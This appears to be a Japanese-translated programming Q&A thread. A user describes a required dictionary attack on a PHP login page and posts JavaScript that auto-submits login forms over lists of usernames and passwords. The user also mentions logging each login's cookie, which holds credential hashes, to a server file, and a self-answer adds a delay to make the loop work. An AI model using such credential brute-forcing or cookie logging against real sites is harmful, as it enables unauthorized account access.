0

私は辞書攻撃を実行しなければならないプロジェクトを行っています。ログインページが投稿するページ(members.phpなど)に投稿するスクリプトを実行しています。正しいユーザー名とパスワードが入力された後にサーバー側で起こることは、Cookie が設定されることだけです。Cookie には、ユーザー名とパスワードの sha 値の値があります。(はい、ソース コードにアクセスできます)。

誰かがログインするたびに Cookie の値を取得し、それをサーバーのテキスト ファイルに保存するように、members.php にスクリプトをハード コードしました。したがって、誰がログインに成功したかを追跡できます。

次のスクリプトを members.php に投稿して、ロジックが機能するかどうかを確認しようとしています。

    function dictionary_run(username,password) {
    var theForm, newInput7, newInput8, newInput9;
    var i=0,j=0;
    var bla3 = "Login";
    theForm = document.createElement("form");
    theForm.action = "URL/members.php";
    theForm.method = "post"; 

    newInput9 = document.createElement("input");
    newInput9.type = "text";
    newInput9.name = "username";
    newInput9.value = username;

    newInput8 = document.createElement("input");
    newInput8.type = "password";
    newInput8.name = "password";
    newInput8.value = password;

    newInput7 = document.createElement("input");
    newInput7.type = "submit";
    newInput7.name = "submit";
    newInput7.value = bla3;

    theForm.appendChild(newInput9);
    theForm.appendChild(newInput8);
    theForm.appendChild(newInput7);
    newInput7.click();
}
function main() {
    var user_name = ["jasmine", "fd", "jasmhghine","dfdf"];
    var pass_word = ["jasmine", "jasminhge", "dffd","dfdfdf"];
    var i,j;
    for(i=0; i<4 ;i++) {
    for(j=0; j<4;j++) {
    dictionary_run(user_name[i],pass_word[j]);
    }
    }

}    
main();

どうやらうまくいきません。パスワードとユーザー名としてのジャスミンが正しいことを知っています(ここではuser_name [0]とpass_word [0])。それでも、members.php にハード コードされた私のスクリプトは、成功したログイン試行をキャプチャしません。

私もそれを壊そうとしました

if(document.cookie) break;

各提出後。これも機能しません。ログイン試行が成功したかどうかを確認する別の方法は考えられません。

どんな助けでも大歓迎です。ありがとう!

4

1 に答える 1

0

わかりました、問題が見つかりました。非常に短い間隔で投稿していたため、最後の入力のみがチェックされていました。そのため、数秒の遅延を使用しただけで機能しました。

  for(i=0; i<4;i++) {
    for(j=0; j<4;j++) {
      var delay=5000;//1 seconds
  setTimeout(function(){
  dictionary_run(user_name[i],pass_word[j]);
  },delay); 
    }
    }

ありがとう !

于 2014-11-25T05:29:25.377 に答える